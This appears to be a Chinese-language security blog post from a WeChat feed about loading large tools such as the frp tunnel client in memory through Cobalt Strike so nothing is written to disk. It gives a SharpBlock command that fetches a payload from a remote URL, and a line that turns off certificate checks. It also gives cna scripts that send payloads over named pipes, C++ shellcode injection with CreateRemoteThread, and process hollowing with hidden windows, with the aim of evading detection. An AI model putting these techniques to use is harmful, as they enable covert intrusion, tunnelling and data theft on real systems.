15px;">在攻防中经常会使用到frp,HackBrowserData等工具，常规的落地使用远不如在内存中直接加载省事/OPSEC，但因inject/execute-assembly等有着1mb的限制，所以需要另辟蹊径</span></p><p style="min-height: 24px;"><span style="font-size: 15px;"><br/></span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.05598755832037325" width="643" data-type="png" data-w="1286" src="https://wechat2rss.xlab.app/img-proxy/?k=42e1338f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1OyozcSJjmDN74cQ6iaY3boib1ORtaSx62C7Nk8VfSenyXC1TrT5k3e6D0oGwhXEBdcoQS9Bia8A9fibQDwm5IkTGg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 18px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><h3 style="line-height: 28px;margin-top: 16px;margin-bottom: 5px;"><span style="font-size: 18px;">0x01 利用现有工具</span></h3><p><span style="font-size: 15px;"><strong style="font-size: 18px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">SharpBlock(需要.net4.0)</span></strong></span></p><h5 style="font-size: 15px;line-height: 24px;margin-top: 8px;margin-bottom: 5px;"><strong><span style="font-size: 15px;">1.远程加载</span></strong></h5><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer">execute-assembly SharpBlock.exe -e <a href="https://image.com/frp -s c:\windows\system32\notepad.exe -a " target="_blank">https://image.com/frp -s c:\windows\system32\notepad.exe -a </a><span class="code-snippet__string">&#34;-c c:\frpc.ini&#34;</span> --<span class="code-snippet__built_in">disable</span>-bypass-amsi --<span class="code-snippet__built_in">disable</span>-bypass-cmdline --<span class="code-snippet__built_in">disable</span>-bypass-etw</span></code></pre></section><p><br/></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.602814698983581" width="1279" data-type="png" data-w="2558" src="https://wechat2rss.xlab.app/img-proxy/?k=5eb0fdea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1OyozcSJjmDN74cQ6iaY3boib1ORtaSx62mm2gxlF9PwT1hjiagt9obEUyWkicRSqnFtoJzfq7HuIjaDm2ib2PtTxJg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;"><span style="font-size: 15px;">注意 image 中因为是用了cna的方式，所以-a 参数时因为frpc的参数为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;padding-right: 2px;padding-left: 2px;"><span style="font-size: 15px;">-c&#34; &#34;xxx.ini</span></code><span style="font-size: 15px;"> 所以你需要给空格包裹一下，如果你是</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;padding-right: 2px;padding-left: 2px;"><span style="font-size: 15px;">execute-assembly</span></code><span style="font-size: 15px;">那就没有这个问题了。另外这是ini落地的写法，如果你已经将frp修改为了无参数启动那就是一键一把梭了。</span></p><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;"><span style="font-size: 15px;">加入下面的代码以支持https</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">ServicePointManager.ServerCertificateValidationCallback += <span class="code-snippet__function">(<span class="code-snippet__params">sender, certificate, chain, sslPolicyErrors</span>) =&gt;</span> <span class="code-snippet__literal">true</span>;</span></code></pre></section><p><span style="display: none;line-height: 0px;">‍</span></p><h5 style="font-size: 15px;line-height: 24px;margin-top: 8px;margin-bottom: 5px;"><strong><span style="font-size: 15px;">2.named pipe</span></strong></h5><p style="min-height: 24px;"><span style="font-size: 15px;"><span style="font-size: 15px;">原版的SharpBlock因frp等文件</span><span style="font-size: 15px;">太大，导致Payloa</span><span style="font-size: 15px;">d传输不完整。其</span><span style="font-size: 15px;">原因还是CS本身单</span><span style="font-size: 15px;">次传输数据大小的问题，且原版</span><span style="font-size: 15px;">S</span><span style="font-size: 15px;">harpB</span><span style="font-size: 15px;">lock</span><span style="font-size: 15px;">只接收一次数据就会关闭管道，所以也不太适合大文件的使用</span></span></p><p style="min-height: 24px;"><span style="font-size: 15px;"><br/></span></p><p style="min-height: 24px;"><span style="font-size: 15px;">此处使用秋水fix过的版本</span></p><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="36" data-source-title=""><section class="js_blockquote_digest"><section><a href="https://github.com/Like0x/SharpBlock" target="_blank">https://github.com/Like0x/SharpBlock</a></section></section></blockquote><p style="min-height: 24px;"><span style="font-size: 15px;">可以看到这是一个接近4M的PE文件。</span></p><p style="min-height: 24px;"><span style="font-size: 15px;"><br/></span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.5935185185185186" width="1154" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=d87c8f57&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1OyozcSJjmDN74cQ6iaY3boib1ORtaSx62jd5Dt2UuUrMKj0UfMiakexYQMibrZ0FlIepicXWOT66DZPR6k4sN3iaAMQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;"><span style="font-size: 15px;">使用pipe传输，无落地直接执行，修改项目中提供的cna即可</span></p><p style="min-height: 24px;"><span style="font-size: 15px;"><br/></span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.5898148148148148" width="1155" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=bed5fb22&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1OyozcSJjmDN74cQ6iaY3boib1ORtaSx62ibbRn8TuROiafBjHBx7u9b3TibwmuyayibLd9m4Fb41SlkwCnz8wXoN8gw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><br/></p><h3 style="line-height: 28px;margin-top: 16px;margin-bottom: 5px;"><span style="font-size: 18px;">0x02 C++ named pipe</span></h3><p style="min-height: 24px;"><span style="font-size: 14px;">因.net 4.0在实战中还是会碰到缺失的情况，所以用c++改了一份</span></p><h4 style="line-height: 24px;margin-top: 10px;margin-bottom: 5px;"><span style="font-size: 15px;"><strong>2.1 实现</strong></span></h4><h5 style="font-size: 15px;line-height: 24px;margin-top: 8px;margin-bottom: 5px;"><span style="font-size: 15px;">1.修改微软的example为RDI</span></h5><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="94" data-source-title=""><section class="js_blockquote_digest"><section><a href="https://docs.microsoft.com/en-us/windows/win32/ipc/named-pipe-server-using-completion-routines" target="_blank">https://docs.microsoft.com/en-us/windows/win32/ipc/named-pipe-server-using-completion-routines</a></section></section></blockquote><h5 style="font-size: 15px;line-height: 24px;margin-top: 8px;margin-bottom: 5px;"><span style="font-size: 15px;">2.确认Payload是否传输完成</span></h5><p style="min-height: 24px;"><span style="font-size: 15px;">秋水使用的方式是在Payload传输完后发送ok作为标识符，关闭pipe进入下一步</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer"><span class="code-snippet__built_in">alias</span> frp {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__variable">$handle</span> = openf(script_resource(<span class="code-snippet__string">&#34;frpc_windows_x64.exe&#34;</span>));</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__variable">$data</span> = readb(<span class="code-snippet__variable">$handle</span>,-1);</span></code><code><span class="code-snippet_outer">    closef(<span class="code-snippet__variable">$handle</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    bupload_raw(<span class="code-snippet__variable">$bid</span>,<span class="code-snippet__string">&#34;\\\\.\\pipe\\pipename&#34;</span>,base64_encode(<span class="code-snippet__variable">$data</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment"># This code turn off Pipeserver</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">for</span> (<span class="code-snippet__variable">$total</span> = 0; <span class="code-snippet__variable">$total</span> &lt; 5; <span class="code-snippet__variable">$total</span>++)</span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">        bpause(<span class="code-snippet__variable">$bid</span>,100);</span></code><code><span class="code-snippet_outer">        bupload_raw(<span class="code-snippet__variable">$bid</span>,<span class="code-snippet__string">&#34;\\\\.\\pipe\\pipename&#34;</span>,<span class="code-snippet__string">&#34;ok&#34;</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="min-height: 24px;"><span style="font-size: 15px;"></span><br/></p><p style="min-height: 24px;"><span style="font-size: 15px;">我选择使用cna计算Payload的大小，传参给DLL</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer"><span class="code-snippet__built_in">alias</span> <span class="code-snippet__built_in">test</span> {  </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__variable">$handle</span> = openf(script_resource(<span class="code-snippet__string">&#34;frpc_windows_x64.exe&#34;</span>));</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__variable">$data</span> = readb(<span class="code-snippet__variable">$handle</span>, -1);</span></code><code><span class="code-snippet_outer">  closef(<span class="code-snippet__variable">$handle</span>);</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__variable">$size</span> = strlen(<span class="code-snippet__variable">$data</span>);</span></code><code><span class="code-snippet_outer">  blog(<span class="code-snippet__variable">$1</span>,<span class="code-snippet__string">&#34;file size &#34;</span>.<span class="code-snippet__variable">$size</span>);</span></code><code><span class="code-snippet_outer">  bdllspawn(<span class="code-snippet__variable">$1</span>,script_resource(<span class="code-snippet__string">&#34;pipe.dll&#34;</span>) , <span class="code-snippet__variable">$size</span>, <span class="code-snippet__string">&#34;&#34;</span>, 1000, <span class="code-snippet__literal">false</span>);</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="ini"><code><span class="code-snippet_outer"><span class="code-snippet__attr">size</span> = atoi((char*)lpReserved);</span></code></pre></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="makefile"><code><span class="code-snippet_outer">recv_total += cbBytesRead;</span></code><code><span class="code-snippet_outer">memcpy(temp, lpPipeInst-&gt;chRequest, cbBytesRead);</span></code><code><span class="code-snippet_outer">temp += cbBytesRead;</span></code><code><span class="code-snippet_outer">if (recv_total == size)</span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">printf(<span class="code-snippet__string">&#34;[loader] recv all %02d bytes\r\n&#34;</span>, recv_total);</span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><h5 style="font-size: 15px;line-height: 24px;margin-top: 8px;margin-bottom: 5px;"><span style="font-size: 15px;">3.传输完成后关闭pipe结束进程</span></h5><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js"><code><span class="code-snippet_outer">DisconnectNamedPipe(hPipe);</span></code></pre></section><h4 style="line-height: 24px;margin-top: 10px;margin-bottom: 5px;"><br/></h4><h4 style="line-height: 24px;margin-top: 10px;margin-bottom: 5px;"><strong><span style="font-size: 15px;">2.2 inject</span></strong></h4><h5 style="font-size: 15px;line-height: 24px;margin-top: 8px;margin-bottom: 5px;"><span style="font-size: 15px;">1.frpc pe2shellcode</span></h5><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.5462962962962963" width="1220" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9aea1bfa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1OyozcSJjmDN74cQ6iaY3boib1ORtaSx624zmFryaoiamVQZVMIE212iak9BafK9OkktbgwuZS1MPfiaD4DWJgB52Aw%2F640%3Fwx_fmt%3Dpng"/><br/></p><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="33" data-source-title=""><section class="js_blockquote_digest"><p><a href="https://github.com/TheWover/donut" target="_blank">https://github.com/TheWover/donut</a></p></section></blockquote><h5 style="font-size: 15px;line-height: 24px;margin-top: 8px;margin-bottom: 5px;"><span style="font-size: 15px;">2.Demo</span><br/></h5><p style="min-height: 24px;"><span style="font-size: 15px;">常规的CreateRemoteThread测试</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer">recv_total += cbBytesRead;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__built_in">memcpy</span>(temp, lpPipeInst-&gt;chRequest, cbBytesRead);</span></code><code><span class="code-snippet_outer">temp += cbBytesRead;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> (recv_total == size)</span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__built_in">printf</span>(<span class="code-snippet__string">&#34;[loader] recv all %02d bytes\r\n&#34;</span>, recv_total);</span></code><code><span class="code-snippet_outer">    PROCESS_INFORMATION pi = { <span class="code-snippet__number">0</span> };</span></code><code><span class="code-snippet_outer">    STARTUPINFO si = { <span class="code-snippet__number">0</span> };</span></code><code><span class="code-snippet_outer">    CreateProcess(<span class="code-snippet__literal">NULL</span>, <span class="code-snippet__string">&#34;notepad.exe&#34;</span>, <span class="code-snippet__literal">NULL</span>, <span class="code-snippet__literal">NULL</span>, FALSE, CREATE_SUSPENDED, <span class="code-snippet__literal">NULL</span>, <span class="code-snippet__literal">NULL</span>, &amp;si, &amp;pi);</span></code><code><span class="code-snippet_outer">    remoteBuffer = VirtualAllocEx(pi.hProcess, <span class="code-snippet__literal">NULL</span>, recv_total + <span class="code-snippet__number">1</span>, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);</span></code><code><span class="code-snippet_outer">    WriteProcessMemory(pi.hProcess, remoteBuffer, shellcode, recv_total, <span class="code-snippet__literal">NULL</span>);</span></code><code><span class="code-snippet_outer">    remoteThread = CreateRemoteThread(pi.hProcess, <span class="code-snippet__literal">NULL</span>, <span class="code-snippet__number">0</span>, (LPTHREAD_START_ROUTINE)remoteBuffer, <span class="code-snippet__literal">NULL</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__literal">NULL</span>);</span></code><code><span class="code-snippet_outer">    CloseHandle(processHandle);</span></code><code><span class="code-snippet_outer">    DisconnectNamedPipe(hPipe);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="min-height: 24px;"><span style="font-size: 15px;"></span><br/></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.6324074074074074" width="3718" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=4e34d425&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F1OyozcSJjmDN74cQ6iaY3boib1ORtaSx62kM5o7QwpzW8n8JmbGnS6zuPde3pDzhBTBTUC6kjFWMAic7ibaHWMGibQQ%2F640%3Fwx_fmt%3Djpeg"/></p><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="55" data-source-title=""><section class="js_blockquote_digest"><section><a href="https://github.com/dust-life/Tools/tree/main/Named_Pipe" target="_blank">https://github.com/dust-life/Tools/tree/main/Named_Pipe</a></section></section></blockquote><h4 style="line-height: 24px;margin-top: 10px;margin-bottom: 5px;"><br/></h4><h4 style="line-height: 24px;margin-top: 10px;margin-bottom: 5px;"><strong><span style="font-size: 15px;">2.3 run_pe</span></strong></h4><p style="min-height: 24px;"><span style="font-size: 15px;">考虑到pe2shellcode有诸多不便，选择使用Process Hollowing并稍作修改</span></p><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="59" data-source-title=""><section class="js_blockquote_digest"><section><a href="https://github.com/hasherezade/libpeconv/tree/master/run_pe" target="_blank">https://github.com/hasherezade/libpeconv/tree/master/run_pe</a></section></section></blockquote><h5 style="font-size: 15px;line-height: 24px;margin-top: 8px;margin-bottom: 5px;"><span style="font-size: 15px;">1.从内存加载Payload</span></h5><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer"><span class="code-snippet__function">BYTE* <span class="code-snippet__title">memory_load</span><span class="code-snippet__params">(IN BYTE* payload, IN <span class="code-snippet__keyword">size_t</span> r_size, OUT <span class="code-snippet__keyword">size_t</span>&amp; v_size, <span class="code-snippet__keyword">bool</span> executable, <span class="code-snippet__keyword">bool</span> relocate)</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    BYTE* mappedPE = load_pe_module(payload, r_size, v_size, executable, relocate);</span></code><code><span class="code-snippet_outer">    free_pe_buffer(payload);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> mappedPE;</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><h5 style="font-size: 15px;line-height: 24px;margin-top: 8px;margin-bottom: 5px;"><span style="font-size: 15px;">2.隐藏窗口</span></h5><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="objectivec"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> (!CreateProcessA(</span></code><code><span class="code-snippet_outer">        path,</span></code><code><span class="code-snippet_outer">        (LPSTR)cmdLine,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__literal">NULL</span>, <span class="code-snippet__comment">//lpProcessAttributes</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__literal">NULL</span>, <span class="code-snippet__comment">//lpThreadAttributes</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__literal">FALSE</span>, <span class="code-snippet__comment">//bInheritHandles</span></span></code><code><span class="code-snippet_outer">        CREATE_SUSPENDED | DETACHED_PROCESS | CREATE_NO_WINDOW, <span class="code-snippet__comment">//dwCreationFlags</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__literal">NULL</span>, <span class="code-snippet__comment">//lpEnvironment </span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__literal">NULL</span>, <span class="code-snippet__comment">//lpCurrentDirectory</span></span></code><code><span class="code-snippet_outer">        &amp;si, <span class="code-snippet__comment">//lpStartupInfo</span></span></code><code><span class="code-snippet_outer">        &amp;pi <span class="code-snippet__comment">//lpProcessInformation</span></span></code><code><span class="code-snippet_outer">))</span></code></pre></section><h5 style="font-size: 15px;line-height: 24px;margin-top: 8px;margin-bottom: 5px;"><span style="font-size: 15px;">3.忽略修复重定位表</span></h5><p style="min-height: 24px;"><span style="font-size: 15px;">upx过后的PE没有重定位表，所以需要忽略修复重定位表</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> (!relocate_module(loaded_pe, payloadImageSize, (ULONGLONG)remoteBase)) {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__built_in">std</span>::<span class="code-snippet__built_in">cout</span> &lt;&lt; <span class="code-snippet__string">&#34;Could not relocate the module!\n&#34;</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">//3. Update the image base of the payload (local copy) to the Remote Base:</span></span></code><code><span class="code-snippet_outer">    update_image_base(loaded_pe, (ULONGLONG)remoteBase);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">else</span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    update_image_base(loaded_pe, (ULONGLONG)remoteBase);</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><h5 style="font-size: 15px;line-height: 24px;margin-top: 8px;margin-bottom: 5px;"><span style="font-size: 15px;">4.Demo</span></h5><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.40925925925925927" width="3916" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=00e97981&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1OyozcSJjmDN74cQ6iaY3boib1ORtaSx62b3BAQqSNCDAciaPNVEm4hEne4v9fIPxXKFeGlHvwb6micCZ9UX36YkVQ%2F640%3Fwx_fmt%3Dpng"/></p><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="35" data-source-title=""><section class="js_blockquote_digest"><section><a href="https://github.com/dust-life/run_pe" target="_blank">https://github.com/dust-life/run_pe</a></section></section></blockquote><h5 style="font-size: 15px;line-height: 24px;margin-top: 8px;margin-bottom: 5px;"><span style="font-size: 18px;">0x03 TODO</span><br/></h5><p><span style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer">1<span class="code-snippet__selector-class">.Bypass</span> <span class="code-snippet__selector-tag">Cmdline</span>、<span class="code-snippet__selector-tag">ETW</span>等</span></code><code><span class="code-snippet_outer">2.更好的<span class="code-snippet__selector-tag">Process</span> <span class="code-snippet__selector-tag">Hollowing</span></span></code><code><span class="code-snippet_outer">3<span class="code-snippet__selector-class">.BOF</span>版远程加载、<span class="code-snippet__selector-tag">Process</span> <span class="code-snippet__selector-tag">Hollowing</span></span></code></pre></section><p><span style="font-size: 15px;"></span><br/></p><p><br/></p>



<p><a href="2247483671">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=62d32fe5&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyMjMxOTI2MA%3D%3D%26mid%3D2247483671%26idx%3D1%26sn%3Dd00e0d5daad992012746b6b3c6c38dbc%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 14 Jan 2022 17:45:00 +0800</pubDate>
    </item>
  </channel>
</rss>